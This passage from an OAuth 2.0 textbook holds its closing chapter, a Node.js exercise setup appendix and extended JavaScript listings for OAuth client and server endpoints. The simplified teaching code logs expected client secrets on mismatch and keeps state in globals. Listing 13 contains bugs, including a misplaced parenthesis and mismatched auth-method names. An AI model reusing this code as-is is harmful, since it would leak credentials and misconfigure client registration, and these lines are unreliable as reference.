vulnerabilities section of this book, these kinds of shortcuts inevitably lead to pain and 
compromises. As enticing as it may seem, there really are no good shortcuts to good 
security. 

One of the most important decisions to make is whether to use OAuth 2.0 at all. The 
flexibility and ease of implementation that make OAuth the go-to protocol for protect-
ing APIs also make it tempting to treat OAuth as the appropriate solution to many differ-
ent problems. The good news here is that the structure and philosophy of OAuth can 
be ported, as has been shown with recent efforts to deploy the process on non-HTTP 
protocols. Corollary to this is whether OAuth is a sufficient solution for a problem: as 
we’ve seen, many times OAuth in the real world is augmented with other technologies 
to solve a larger problem than simple rights delegation. We contend that this is a good 
thing, and leads to a rich ecosystem.

Once you’ve decided to build out an OAuth system, there’s one question that you 
should be asking first: Which authorization grant type should you be using? The autho-
rization code grant type that we went into great detail in chapter 2 and built over the 
course of chapters 3 through 5 should be the default choice for most situations. Only 
if what you’re building fits into one of several specific optimizations should you be con-
sidering a different grant type. A large part of that optimization space depends on what 
kind of client you’re building (or expecting to be built) to access an API. For instance, 
if your client is running entirely within a browser, then the implicit flow makes sense. 
But if you’re building a native application, the authorization code flow remains much 
better. If you’re not acting on behalf of a particular user, then the client credentials 
flow will work well for you. But if you are acting on behalf of a specific user, then you’re 
much better off involving that user in the process using one of the interactive grant 
types. This is true even if the user doesn’t make the authorization decision, as in an 
enterprise deployment, because the presence of an authenticated user can be used as 
one major pillar in the overall security architecture.

Of course, even if you make every core decision correctly, things can still go wrong 
in deployment or use. That’s the nature of security, and it doesn’t come for free. 
OAuth goes a long way in helping people get things right by pushing the complexity 
away from the clients and on to the authorization servers, but even then it’s impor-
tant to use these components in the right way. This includes making sure all of the 
surrounding and underlying systems, such as TLS, are up and running as intended. 
OAuth helps here, too, by basing its security model on many years of deployment 
experience across a wide variety of systems. By following a few best practices and using 
the right parts of OAuth in the right way, a small one-off API provider can give access 
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to the same kind of security and delegation capabilities available on the largest APIs 
of the internet today.

16.3	 The wider ecosystem
As we’ve shown throughout this book, OAuth was designed to do a job—security del-
egation—and do that job well. OAuth doesn’t handle some things well, or at all, but as 
we’ve seen in the latter parts of this book, that’s not a bad thing. OAuth has provided 
a solid base upon which a wide and rich ecosystem has been erected over time. Much 
in the same way that the OAuth framework provides a set of choices to solve different 
problems, the surrounding ecosystem provides a set of choices of things that can be 
used along with OAuth to solve a wide variety of requirements.

The OAuth working group explicitly left out several items key to a real security 
architecture, such as the format of the access token itself. After all, if you need to cre-
ate the tokens anyway, why not tell everybody exactly how to make the tokens? This 
conscious omission has allowed for the development of complementary technologies 
such as JOSE and JWT that work well with, but aren’t dependent upon, OAuth. JOSE 
combines the simplicity of JSON with advanced cryptographic functionality in a way 
that’s still easy for developers to get right. Alternatively, for situations in which the 
tokens need to be compact, or don’t need to be self-contained at all, token introspec-
tion provides a viable alternative. Importantly, these two can be swapped out or even 
combined without the client being any the wiser, all thanks to OAuth’s commitment to 
do one job and one job alone.

Other extensions are added to OAuth to deal with specific situations. For instance, 
the PKCE extension we described in chapter 10 is used to help prevent the theft of the 
authorization code on native mobile applications using a local application-specific URI 
scheme. PKCE doesn’t make much sense outside of this narrow window, but it works 
wonderfully within that space. Likewise, the token revocation extension provides a 
way for clients to proactively throw away tokens. Why is this not a universal feature of 
OAuth? In some systems, the OAuth token is entirely self-contained and stateless, and 
there isn’t a reasonable way to propagate a “revocation” event through the distributed 
system of resource servers. In others, the clients are presumed to be completely naïve 
to the status of the token, and this kind of proactive measure would make little sense. 
However, for ecosystems in which the tokens are stateful and the clients are marginally 
smarter than they need to be, revocation provides an extra bit of security on top of 
everything else.  

Comparably, OAuth can be used to build lots of different protocols. We saw in great 
detail in chapter 13 that although OAuth is not itself an authentication protocol, it can 
be used to build one. Furthermore, we saw how profiles and applications of OAuth 
such as HEART and iGov can bring together large communities for interoperability. 
These efforts lock down a set of OAuth’s choices and extensions in a way that provides 
a pattern and recipe that others can follow. OAuth can also be used to build complex 
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protocols such as UMA that take the OAuth delegation pattern and extend it to mul-
tiple parties. 

16.4	 The community
OAuth has a thriving community on the internet, with lots of resources, discussions, 
and experts ready to help out. As you’ve seen in this book, there are a lot of decisions 
to be made when building an OAuth ecosystem, and chances are there’s somebody 
else on the internet that’s already made that decision in similar circumstances. You’ll 
find open source projects, large companies, nimble startups, waves of consultants, and 
(we hope) at least one decent book that will help you figure out what OAuth is all 
about. You’re far from alone in your choice of this security system, and when it comes 
to security, there is strength in many eyes and many hands on the problem space.

The OAuth working group is still working on the protocol and its extensions, and 
you (yes, you) can join the conversation.1 Think you can do better than OAuth? Does 
your use case need some bit of special sauce on top of OAuth? Do you need a grant 
type with different assumptions and deployment characteristics? Then by all means 
bring the conversation to the working group.

Since OAuth isn’t defined and owned by a company, or even a consortium like 
many open source projects, it doesn’t have official branding and marketing to make it 
recognizable. Instead, the community has once again stepped in. OAuth’s bus token 
logo was drawn by Chris Messina and submitted to the community, where it took off 
even though it’s technically not official. The OAuth protocol even has an unofficial-yet-
awesome mascot: OAuth-tan (figure 16.1)!2

This community has been able to grow naturally because of a few things. First and 
foremost, OAuth solves a real problem that people have. The API and mobile applica-
tion economies were only getting started when OAuth 1.0 and 2.0 were developed, 
and OAuth stepped in to provide a much needed security layer. Second, and just as 
important, OAuth is an open protocol. It’s not owned or controlled by any one com-
pany, and anybody can build an implementation without paying royalties or licensing 
fees. This means that there’s grown up a large community of software, libraries, and 
demonstrations that support OAuth out of the box in its various forms. What if there 
isn’t something on your favorite platform? Chances are that there’s a similar imple-
mentation that you can copy from another language, all ready to go.

OAuth is relatively simple. Sure, you’ve gone through somewhat north of 300 pages 
of material on the topic, and there are a lot of things that can go quickly wrong with 
it if you’re not careful. But compared with the deep complexities of many of the sys-
tems that have come before (Kerberos, SAML, or WS-*), it’s downright trivial. This is 
especially true, we’ve seen, of clients, which make up the majority of the ecosystem. 
The balance of simplicity has allowed it to be adopted in ways and in places that have 
previously eschewed security protocols, bringing more developers into the fold.

1 � https://tools.ietf.org/wg/oauth/
2 � Used by permission from Yuki Goto.
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16.5	 The future
The OAuth Dance that we saw in 
chapter 2 is one of the most popu-
lar dances on the internet today, but 
today’s popularity is in no way guar-
anteed going forward. Although we 
do think that the power and relative 
simplicity of OAuth 2.0 mean that it 
will be around for a while yet, tech-
nology inevitably marches onward. 

In the OAuth world itself, we’ve 
already seen some of this with the 
effort in standardizing PoP tokens. 
The PoP specifications have taken 
the JOSE technologies and applied 
them in a new way to OAuth, creat-
ing PoP tokens that will provide a 
higher level of security than bearer 
tokens, but at the cost of some 
added complexity. As such, they’ll 

likely be deployed as needed, and often alongside of bearer tokens. It’s possible we’ll 
see other forms of tokens in the future, such as ones bound to the TLS layer or using 
exotic new cryptographic mechanisms.

Enough extensions and components have been added to OAuth that it’s likely that 
we’ll see an OAuth 2.1 or OAuth 3.0 that combines all of these components into a 
single, cohesive suite of specifications that are easier to navigate than the organically 
grown documents we have today. Any such reorganization work is a long way in the 
future, if it’s to happen at all.

Finally, there will almost inevitably come a day when OAuth is itself entirely sup-
planted by something newer and better. OAuth is a child of its time, with direct depen-
dencies on HTTP, web browsers, and JSON. Although their life spans may be long, 
these technologies won’t continue to exist in the same universality and form as they do 
today. In much the same way that OAuth has replaced Kerberos, WS-Trust, and SAML 
in many security architectures and fit into new places where those older protocols 
could not, there will be something new that will eventually take OAuth’s place as the 
security protocol to pay attention to. 

Until then, OAuth is and will continue to be well worth understanding and building. 

16.6	 Summary
It was quite a journey. We started with the core definition of OAuth 2.0, wound our way 
up through the actors and components and interconnections, and built an entire eco-
system from scratch. Then we took a step back and looked at what could go wrong, and 

Figure 16.1  OAuth-tan! We dare you to access the 
APIs she’s protecting without her permission.
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how to fix it. We then took a more in-depth look at the world of protocols surround-
ing OAuth, including OpenID Connect and UMA. Finally, we looked ahead to where 
OAuth might be going in the future with PoP tokens and token binding.

What’s next? Now, it’s time to build your system. Find good libraries. Contribute to 
open source. Engage in the standards community. After all, you’re not building OAuth 
capability for its own sake; you’re building OAuth capability that you’ll use to protect 
and secure some other piece of functionality that you and the rest of the world care 
about. Now that you’ve got a handle on how delegation, authorization, and many of 
the attendant security bits work using this OAuth thing, you can concentrate on what 
you’re really after: building your application, API, or ecosystem. 

Thank you for joining us. We hope you have enjoyed the trip as much as we’ve 
enjoyed guiding it.
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appendix A
An introduction to  
our code framework

A.1	 An Introduction to Our Code Framework
Throughout this book, we’ll be developing applications in JavaScript using the 
Express.js1 web application framework running on Node.js,2 a server-side JavaScript 
engine. Although the examples themselves will be written in JavaScript, all con-
cepts in the examples should be readily portable to other platforms and application 
frameworks. Wherever possible, we’ve tried to keep the specific quirks of JavaScript 
(such as closures and function callbacks) away from the bits of code that you’ll be 
working with directly, since the goal of this book is not to make you a proficient 
JavaScript programmer. We also will be making use of library code for non-OAuth-
specific functionality in these examples so that you can focus on what is the core 
goal of this book: understanding in detail how the OAuth protocol works. 

In a real application, it may be desirable to use an OAuth library to handle many 
of the functions that we’ll be coding by hand here. However, in this book, we’ll be 
building things up by hand so that you can get hands on with the OAuth functional-
ity without getting sidetracked by the specifics of the Node.js application. All of the 

1  http://expressjs.com/
2  https://nodejs.org/
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code found in this book is available on GitHub3 and from the publisher’s site for this 
book.4 Each exercise is in a separate directory, sorted by chapter number and example 
number. 

Let’s get started. First, before you’ll be able to run anything, you’ll need to install 
Node.js and the Node Package Manager (NPM) for your platform. The details vary 
from system to system; for example, on a MacOSX system running MacPorts, this can 
be installed with the following commands:

> sudo port install node
> sudo port install npm

You can verify that these have been properly installed by asking each for their version 
number, which will print out something like the following messages:

> node -v
v4.4.1

> npm -v
2.15.1

With these core libraries installed, we can unpack our example code. Enter the ap-A-
ex-0 directory and run the npm install command to install the project dependen-
cies for this example. This action pulls down the dependencies for this example and 
installs them into the node_modules directory. The npm program will detail all of the 
packages being installed automatically to satisfy the dependencies for this project, and 
the output will look something like this:

ap-A-ex-0> npm install
underscore@1.8.3 node_modules/underscore

body-parser@1.13.2 node_modules/body-parser

├── content-type@1.0.1

├── bytes@2.1.0

There’s a lot of information that will print to your console here; we’re not going to copy everything.

├── send@0.13.0 (destroy@1.0.3, statuses@1.2.1, ms@0.7.1, mime@1.3.4, http-

errors@1.3.1)

├── accepts@1.2.11 (negotiator@0.5.3, mime-types@2.1.3)

└── type-is@1.6.5 (media-typer@0.3.0, mime-types@2.1.3)

Having done that, you should now have a directory that contains all of the code 
required for this example. 

NOTE  The npm install step must be run separately for every exercise.

Each of the exercises contains three JavaScript source files: client.js, authoriza-
tionServer.js, and protectedResource.js, along with other support files and 
libraries to make things run. Each of these needs to be run separately using the node 
command, and we suggest running each in a different terminal window to avoid 

3  https://github.com/oauthinaction/oauth-in-action-code/
4  https://www.manning.com/books/oauth-2-in-action
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confusing the log files. The order of starting them up does not matter, but they do have 
to be running at the same time in order for most example programs to work. 

For example, running the client application should produce output like the follow-
ing in the terminal window:

> node client.js 

OAuth Client is listening at http://127.0.0.1:9000

The authorization server is launched like this:

> node authorizationServer.js 

OAuth Authorization Server is listening at http://127.0.0.1:9001

And the protected resource is launched like this:

> node protectedResource.js 

OAuth Protected Resource is listening at http://127.0.0.1:9002

We recommend running all three in separate terminal windows so that you can see the 
output of the programs as they run. See figure A.1.

Each component is set up to run on a different port on localhost, in a separate 
process:

■■ The OAuth Client application (client.js) runs on http://localhost:9000/
■■ The OAuth Authorization Server application (authorizationServer.js) runs on 
http://localhost:9001/

■■ The OAuth Protected Resource Application (protectedResource.js) runs on 
http://localhost:9002/

All of the applications have been set up to serve static files such as images and Cascad-
ing Style Sheets (CSS). These are included in the files directory in the project and 
won’t need to be edited for any of the exercises. In addition, there are HTML tem-
plates in the files directory. These are used in the applications to generate HTML 
pages based on variable inputs. When templates are used, they’re set up at the begin-
ning of the application with the following code:

app.engine('html', cons.underscore);

app.set('view engine', 'html');

app.set('views', 'files');

Figure A.1  Three terminal windows running each component in parallel
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The templates won’t need to be edited during the exercises, but they will occasion-
ally be reviewed to showcase functionality. We’re using the Underscore.js5 templating 
system along with the Consolidate.js6 library to create and manage all of the templates 
in all of the examples. You can pass variables to these templates and have them render 
their output using the render call on the response object, like this:

res.render('index', {access_token: access_token});

The three code files in this first example contain no actual functionality, but if you 
can see the welcome page for each then you’ll know that the applications are running 
correctly and the dependencies have been installed. For example, visiting the OAuth 
Client’s URL http://localhost:9000/ in a web browser on your machine should 
produce what you see in figure A.2.

Likewise, the authorization server on http://localhost:9001/ will look like what 
you see in figure A.3.

And finally, the protected resource on http://localhost:9002/ will display what 
is shown in figure A.4 (note that the protected resource doesn’t usually have a user-
facing component).

To add HTTP handlers to our applications, we need to add them as routes to the 
Express.js application object. In each route, we tell the application which HTTP meth-
ods to listen for, which URL patterns to listen for, and which function to call when 
these conditions are matched. The function is passed a request object and a response 

5  http://underscorejs.org/
6  https://github.com/tj/consolidate.js

Figure A.2  The homepage for the client shell
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object as parameters. For instance, this example listens for HTTP GET requests on 
/foo and calls the given anonymous function. 

app.get('/foo', function (req, res) {

});

We’ll be following the convention of referring to the request object as req and the 
response object as res throughout our exercises. The request object contains informa-
tion about the incoming HTTP request, including headers, URL, query parameters, 
and other things that correspond to the incoming request. The response object is used 
to send information back in the HTTP response, including a status code, headers, a 
response body, and more.  

Figure A.3  The homepage for the authorization server shell

Figure A.4  The homepage for the protected resource shell
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We’ll be storing a lot of stateful information in global variables, declared at the top 
of the respective file. In any reasonable web application, all of these pieces of state 
would be tied to the user’s session instead of global variables in the application itself. 
A native application is likely to use an approach similar to our framework and rely on 
the features of the host operating system to provide local user session authentication.

You’ll use this simple framework throughout the book to build OAuth clients, pro-
tected resources, and authorization servers. For the most part, each exercise will come 
set up with things nearly complete, and you’ll be required only to fill in the small bits 
of OAuth-related functionality that we’re discussing in a given exercise. 

For every exercise, you’ll be able to find the completed code in the completed 
directory under the exercise directory. If you get stuck, we recommend opening up 
these files to take a look at how the “official” answer works.
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Extended code listings

This appendix contains extended code listings for the exercises throughout the 
book. In the chapters themselves, we’ve attempted to focus on the parts of the code 
necessary for functionality. We don’t replicate the whole code base, since that’s avail-
able on GitHub for your perusal at any time. However, it’s often useful to see the 
multiple snippets of code talked about in a chapter in a slightly larger context than 
is viable within a chapter. Here we list some of these larger functions referenced 
throughout the book. 

Listing 1  Authorization request function (3-1)

app.get('/authorize', function(req, res){

	 access_token = null;

	 state = randomstring.generate();

	

	 var authorizeUrl = buildUrl(authServer.authorizationEndpoint, {

		  response_type: 'code',

		  client_id: client.client_id,

		  redirect_uri: client.redirect_uris[0],

		  state: state

	 });

	

	 console.log("redirect", authorizeUrl);

	 res.redirect(authorizeUrl);

});
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Listing 2  Callback and token request (3-1)

app.get('/callback', function(req, res){

	

	 if (req.query.error) {

		  res.render('error', {error: req.query.error});

		  return;

	 }

	

	 if (req.query.state != state) {

		�  console.log('State DOES NOT MATCH: expected %s got %s', state, req.

query.state);

		  res.render('error', {error: 'State value did not match'});

		  return;

	 }

	 var code = req.query.code;

	 var form_data = qs.stringify({

		  grant_type: 'authorization_code',

		  code: code,

		  redirect_uri: client.redirect_uris[0]

	 });

	 var headers = {

		  'Content-Type': 'application/x-www-form-urlencoded',

		�  'Authorization': 'Basic ' + encodeClientCredentials(client.client_id, 

client.client_secret)

	 };

	 var tokRes = request('POST', authServer.tokenEndpoint, {	

				      body: form_data,

			      headers: headers

	 });

	 console.log('Requesting access token for code %s',code);

	

	 if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) {

		  var body = JSON.parse(tokRes.getBody());

	

		  access_token = body.access_token;

		  console.log('Got access token: %s', access_token);

		

		�  res.render('index', {access_token: access_token, scope: scope});

	 } else {

		�  res.render('error', {error: 'Unable to fetch access token, server 

response: ' + tokRes.statusCode})

	 }

});

Listing 3  Fetching a protected resource (3-1)

app.get('/fetch_resource', function(req, res) {

	

	 if (!access_token) {

		  res.render('error', {error: 'Missing Access Token'});
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	 }

	 console.log('Making request with access token %s', access_token);

	 var headers = {

		  'Authorization': 'Bearer ' + access_token

	 };

	

	 var resource = request('POST', protectedResource,

		  {headers: headers}

	 );

	

	 if (resource.statusCode >= 200 && resource.statusCode < 300) {

		  var body = JSON.parse(resource.getBody());

		  res.render('data', {resource: body});

		  return;

	 } else {

		  access_token = null;

		  res.render('error', {error: resource.statusCode});

		  return;

	 }

	

	

});

Listing 4  Refreshing an access token (3-2)

app.get('/fetch_resource', function(req, res) {

	 console.log('Making request with access token %s', access_token);

	

	 var headers = {

		  'Authorization': 'Bearer ' + access_token,

		  'Content-Type': 'application/x-www-form-urlencoded'

	 };

	

	 var resource = request('POST', protectedResource,

		  {headers: headers}

	 );

	

	 if (resource.statusCode >= 200 && resource.statusCode < 300) {

		  var body = JSON.parse(resource.getBody());

		  res.render('data', {resource: body});

		  return;

	 } else {

		  access_token = null;

		  if (refresh_token) {

			   refreshAccessToken(req, res);

			   return;

		  } else {

			   res.render('error', {error: resource.statusCode});

			   return;

		  }

	 }

	

	

});
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var refreshAccessToken = function(req, res) {

	 var form_data = qs.stringify({

		  grant_type: 'refresh_token',

		  refresh_token: refresh_token

	 });

	 var headers = {

		  'Content-Type': 'application/x-www-form-urlencoded',

		�  'Authorization': 'Basic ' + encodeClientCredentials(client.client_id, 

client.client_secret)

	 };

	 console.log('Refreshing token %s', refresh_token);

	 var tokRes = request('POST', authServer.tokenEndpoint, {	

			      body: form_data,

			      headers: headers

	 });

	 if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) {

		  var body = JSON.parse(tokRes.getBody());

		  access_token = body.access_token;

		  console.log('Got access token: %s', access_token);

		  if (body.refresh_token) {

			   refresh_token = body.refresh_token;

			   console.log('Got refresh token: %s', refresh_token);

		  }

		  scope = body.scope;

		  console.log('Got scope: %s', scope);

	

		  res.redirect('/fetch_resource');

		  return;

	 } else {

	 console.log('No refresh token, asking the user to get a new access  

  token');

		  refresh_token = null;

		  res.render('error', {error: 'Unable to refresh token.'});

		  return;

	 }

};

Listing 5  Extracting the access token (4-1)

var getAccessToken = function(req, res, next) {

	

	 var inToken = null;

	 var auth = req.headers['authorization'];

	 if (auth && auth.toLowerCase().indexOf('bearer') == 0) {

		  inToken = auth.slice('bearer '.length);

	 } else if (req.body && req.body.access_token) {

		  inToken = req.body.access_token;

	 } else if (req.query && req.query.access_token) {

		  inToken = req.query.access_token

	 }

};
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Listing 6  Looking up the token (4-1)

var getAccessToken = function(req, res, next) {

	 var inToken = null;

	 var auth = req.headers['authorization'];

	 if (auth && auth.toLowerCase().indexOf('bearer') == 0) {

		  inToken = auth.slice('bearer '.length);

	 } else if (req.body && req.body.access_token) {

		  inToken = req.body.access_token;

	 } else if (req.query && req.query.access_token) {

		  inToken = req.query.access_token

	 }

	 console.log('Incoming token: %s', inToken);

	 nosql.one(function(token) {

		  if (token.access_token == inToken) {

			   return token;	

		  }

	 }, function(err, token) {

		  if (token) {

			   console.log("We found a matching token: %s", inToken);

		  } else {

			   console.log('No matching token was found.');

		  }

		  req.access_token = token;

		  next();

		  return;

	 });

};

Listing 7  Authorization endpoint (5-1)

app.get("/authorize", function(req, res){

	 var client = getClient(req.query.client_id);

	 if (!client) {

		  console.log('Unknown client %s', req.query.client_id);

		  res.render('error', {error: 'Unknown client'});

		  return;

	 } else if (!__.contains(client.redirect_uris, req.query.redirect_uri))  

{

		�  console.log('Mismatched redirect URI, expected %s got %s',  

client.redirect_uris, req.query.redirect_uri);

		  res.render('error', {error: 'Invalid redirect URI'});

		  return;

	 } else {

		  var reqid = randomstring.generate(8);

		  requests[reqid] = req.query;

		  res.render('approve', {client: client, reqid: reqid });

		  return;

	 }

});
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Listing 8  Handling user approval (5-1)

app.post('/approve', function(req, res) {

	 var reqid = req.body.reqid;

	 var query = requests[reqid];

	 delete requests[reqid];

	 if (!query) {

		  res.render('error', {error: 'No matching authorization request'});

		  return;

	 }

	

	 if (req.body.approve) {

		  if (query.response_type == 'code') {

			   var code = randomstring.generate(8);

			 

			   codes[code] = { request: query };

		

			   var urlParsed = buildUrl(query.redirect_uri, {

				    code: code,

				    state: query.state

			   });

			   res.redirect(urlParsed);

			   return;

		  } else {

			   var urlParsed = buildUrl(query.redirect_uri, {

				    error: 'unsupported_response_type'

			   });

			   res.redirect(urlParsed);

			   return;

		  }

	 } else {

		  var urlParsed = buildUrl(query.redirect_uri, {

			   error: 'access_denied'

		  });

		  res.redirect(urlParsed);

		  return;

	 }

	

});

Listing 9  Token endpoint (5-1)

app.post("/token", function(req, res){

	

	 var auth = req.headers['authorization'];

	 if (auth) {

		  var clientCredentials = decodeClientCredentials(auth);

		  var clientId = clientCredentials.id;

		  var clientSecret = clientCredentials.secret;

	 }

	

	 if (req.body.client_id) {

		  if (clientId) {

			�   console.log('Client attempted to authenticate with multiple 

methods');
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			   res.status(401).json({error: 'invalid_client'});

			   return;

		  }

		

		  var clientId = req.body.client_id;

		  var clientSecret = req.body.client_secret;

	 }

	

	 var client = getClient(clientId);

	 if (!client) {

		  console.log('Unknown client %s', clientId);

		  res.status(401).json({error: 'invalid_client'});

		  return;

	 }

	

	 if (client.client_secret != clientSecret) {

		�  console.log('Mismatched client secret, expected %s got %s',  

client.client_secret, clientSecret);

		  res.status(401).json({error: 'invalid_client'});

		  return;

	 }

	

	 if (req.body.grant_type == 'authorization_code') {

		

		  var code = codes[req.body.code];

		

		  if (code) {

			   delete codes[req.body.code]; // burn our code, it's been used

			   if (code.request.client_id == clientId) {

				    var access_token = randomstring.generate();

				�    nosql.insert({ access_token: access_token, client_id: 

clientId });

				    console.log('Issuing access token %s', access_token);

				�    var token_response = { access_token: access_token, 

token_type: 'Bearer' };

				    res.status(200).json(token_response);

				�    console.log('Issued tokens for code %s', req.body.

code);

				  

				    return;

			   } else {

				�    console.log('Client mismatch, expected %s got %s', 

code.request.client_id, clientId);

				    res.status(400).json({error: 'invalid_grant'});

				    return;

			   }

		  } else {

			   console.log('Unknown code, %s', req.body.code);

			   res.status(400).json({error: 'invalid_grant'});

			   return;

		  }
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	 } else {

		  console.log('Unknown grant type %s', req.body.grant_type);

		  res.status(400).json({error: 'unsupported_grant_type'});

	 }

});

Listing 10  Refreshing access tokens (5-2)

} else if (req.body.grant_type == 'refresh_token') {

	 nosql.one(function(token) {

		  if (token.refresh_token == req.body.refresh_token) {

			   return token;	

		  }

	 }, function(err, token) {

		  if (token) {

			�   console.log("We found a matching refresh token: %s", req.body.

refresh_token);

			   if (token.client_id != clientId) {

				�    nosql.remove(function(found) { return (found == token); 

}, function () {} );

				�    res.status(400).json({error: 'invalid_grant'});

				    return;

			   }

			   var access_token = randomstring.generate();

			�   nosql.insert({ access_token: access_token, client_id:  

clientId });

			�   var token_response = { access_token: access_token, token_type: 

'Bearer',  refresh_token: token.refresh_token };

			   res.status(200).json(token_response);

			   return;

		  } else {

			�   console.log('No matching token was found.');

			   res.status(400).json({error: 'invalid_grant'});

			   return;

		  }

	 });

Listing 11  Introspection endpoint (11-3)

app.post('/introspect', function(req, res) {

	 var auth = req.headers['authorization'];

	 var resourceCredentials = decodeClientCredentials(auth);

	 var resourceId = resourceCredentials.id;

	 var resourceSecret = resourceCredentials.secret;

	 var resource = getProtectedResource(resourceId);

	 if (!resource) {

		  console.log('Unknown resource %s', resourceId);

		  res.status(401).end();

		  return;

	 }

	

	 if (resource.resource_secret != resourceSecret) {
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		�  console.log('Mismatched secret, expected %s got %s', resource.

resource_secret, resourceSecret);

		  res.status(401).end();

		  return;

	 }

	

	 var inToken = req.body.token;

	 console.log('Introspecting token %s', inToken);

	 nosql.one(function(token) {

		  if (token.access_token == inToken) {

			   return token;	

		  }

	 }, function(err, token) {

		  if (token) {

			   console.log("We found a matching token: %s", inToken);

			 

			   var introspectionResponse = {

				    active: true,

				    iss: 'http://localhost:9001/',

				    aud: 'http://localhost:9002/',

				    sub: token.user ? token.user.sub : undefined,

				�    username: token.user ? token.user.preferred_username : 

undefined,

				    scope: token.scope ? token.scope.join(' ') : undefined,

				    client_id: token.client_id

			   };

						    

			   res.status(200).json(introspectionResponse);

			   return;

		  } else {

			   console.log('No matching token was found.');

			   var introspectionResponse = {

				    active: false

			   };

			   res.status(200).json(introspectionResponse);

			   return;

		  }

	 });

	

	

});

Listing 12  Token revocation endpoint (11-5)

app.post('/revoke', function(req, res) {

	 var auth = req.headers['authorization'];

	 if (auth) {

		  // check the auth header

		  var clientCredentials = decodeClientCredentials(auth);

		  var clientId = clientCredentials.id;

		  var clientSecret = clientCredentials.secret;

	 }

	

	 // otherwise, check the post body
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	 if (req.body.client_id) {

		  if (clientId) {

			�   // if we've already seen the client's credentials in the 

authorization header, this is an error

			�   console.log('Client attempted to authenticate with multiple 

methods');

			   res.status(401).json({error: 'invalid_client'});

			   return;

		  }

		

		  var clientId = req.body.client_id;

		  var clientSecret = req.body.client_secret;

	 }

	

	 var client = getClient(clientId);

	 if (!client) {

		  console.log('Unknown client %s', clientId);

		  res.status(401).json({error: 'invalid_client'});

		  return;

	 }

	

	 if (client.client_secret != clientSecret) {

		�  console.log('Mismatched client secret, expected %s got %s', client.

client_secret, clientSecret);

		  res.status(401).json({error: 'invalid_client'});

		  return;

	 }

	

	 var inToken = req.body.token;

	 nosql.remove(function(token) {

		  if (token.access_token == inToken && token.client_id == clientId) {

			   return true;	

		  }

	 }, function(err, count) {

		  console.log("Removed %s tokens", count);

		  res.status(204).end();

		  return;

	 });

	

});

Listing 13  Registration endpoint (12-1)

app.post('/register', function (req, res){

	 var reg = {};

	 if (!req.body.token_endpoint_auth_method) {

		  reg.token_endpoint_auth_method = 'secret_basic';	

	 } else {

		  reg.token_endpoint_auth_method = req.body.token_endpoint_auth_method;

	 }

	

	 if (!__.contains(['secret_basic', 'secret_post', 'none'], reg.token_

endpoint_auth_method)) {
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		  res.status(400).json({error: 'invalid_client_metadata'});

		  return;

	 }

	

	 if (!req.body.grant_types) {

		  if (!req.body.response_types) {

			   reg.grant_types = ['authorization_code'];

			   reg.response_types = ['code'];

		  } else {

			   reg.response_types = req.body.response_types;

			   if (__.contains(req.body.response_types, 'code')) {

				    reg.grant_types = ['authorization_code'];

			   } else {

				    reg.grant_types = [];

			   }

		  }

	 } else {

		  if (!req.body.response_types) {

			   reg.grant_types = req.body.grant_types;

			   if (__.contains(req.body.grant_types, 'authorization_code')) {

				    reg.response_types =['code'];

			   } else {

				    reg.response_types = [];

			   }

		  } else {

			   reg.grant_types = req.body.grant_types;

			   reg.reponse_types = req.body.response_types;

			�   if (__.contains(req.body.grant_types, 'authorization_code') && 

!__.contains(req.body.response_types, 'code')) {

				    reg.response_types.push('code');

			   }

			�   if (!__.contains(req.body.grant_types, 'authorization_code') 

&& __.contains(req.body.response_types, 'code')) {

				    reg.grant_types.push('authorization_code');

			   }

		  }

	 }

	 if (!__.isEmpty(__.without(reg.grant_types, 'authorization_code', 

'refresh_token')) ||

		  !__.isEmpty(__.without(reg.response_types, 'code'))) {

		  res.status(400).json({error: 'invalid_client_metadata'});

		  return;

	 }

	 if (!req.body.redirect_uris || !__.isArray(req.body.redirect_uris) || 

__.isEmpty(req.body.redirect_uris)) {

		  res.status(400).json({error: 'invalid_redirect_uri'});

		  return;

	 } else {

		  reg.redirect_uris = req.body.redirect_uris;

	 }

	

	 if (typeof(req.body.client_name) == 'string') {

		  reg.client_name = req.body.client_name;

	 }
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	 if (typeof(req.body.client_uri) == 'string') {

		  reg.client_uri = req.body.client_uri;

	 }

	

	 if (typeof(req.body.logo_uri) == 'string') {

		  reg.logo_uri = req.body.logo_uri;

	 }

	

	 if (typeof(req.body.scope) == 'string') {

		  reg.scope = req.body.scope;

	 }

	

	 reg.client_id = randomstring.generate();

	 if (__.contains(['client_secret_basic', 'client_secret_post']), reg.token_

endpoint_auth_method) {

		  reg.client_secret = randomstring.generate();

	 }

	 reg.client_id_created_at = Math.floor(Date.now() / 1000);

	 reg.client_secret_expires_at = 0;

	 clients.push(reg);

	

	 res.status(201).json(reg);

	 return;

});

Listing 14  UserInfo endpoint (13-1)

var userInfoEndpoint = function(req, res) {

	

	 if (!__.contains(req.access_token.scope, 'openid')) {

		  res.status(403).end();

		  return;

	 }

	

	 var user = req.access_token.user;

	 if (!user) {

		  res.status(404).end();

		  return;

	 }

	

	 var out = {};

	 __.each(req.access_token.scope, function (scope) {

		  if (scope == 'openid') {

			   __.each(['sub'], function(claim) {

				    if (user[claim]) {

					     out[claim] = user[claim];

				    }

			   });

		  } else if (scope == 'profile') {

			�   __.each(['name', 'family_name', 'given_name', 'middle_name', 

'nickname', 'preferred_username', 'profile', 'picture', 

'website', 'gender', 'birthdate', 'zoneinfo', 'locale', 

'updated_at'], function(claim) {

				    if (user[claim]) {
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					     out[claim] = user[claim];

				    }

			   });

		  } else if (scope == 'email') {

			   __.each(['email', 'email_verified'], function(claim) {

				    if (user[claim]) {

					     out[claim] = user[claim];

				    }

			   });

		  } else if (scope == 'address') {

			   __.each(['address'], function(claim) {

				    if (user[claim]) {

					     out[claim] = user[claim];

				    }

			   });

		  } else if (scope == 'phone') {

			�   __.each(['phone_number', 'phone_number_verified'], 

function(claim) {

				    if (user[claim]) {

					     out[claim] = user[claim];

				    }

			   });

		  }

	 });

	

	 res.status(200).json(out);

	 return;

};

Listing 15  Processing the ID token (13-1)

if (body.id_token) {

	 userInfo = null;

	 id_token = null;

	 console.log('Got ID token: %s', body.id_token);

	

	 var pubKey = jose.KEYUTIL.getKey(rsaKey);

	 var tokenParts = body.id_token.split('.');

	 var payload = JSON.parse(base64url.decode(tokenParts[1]));

	 console.log('Payload', payload);

	 if (jose.jws.JWS.verify(body.id_token, pubKey, [rsaKey.alg])) {

		  console.log('Signature validated.');

		  if (payload.iss == 'http://localhost:9001/') {

			   console.log('issuer OK');

			�   if ((Array.isArray(payload.aud) && __.contains(payload.aud, 

client.client_id)) || 

				    payload.aud == client.client_id) {

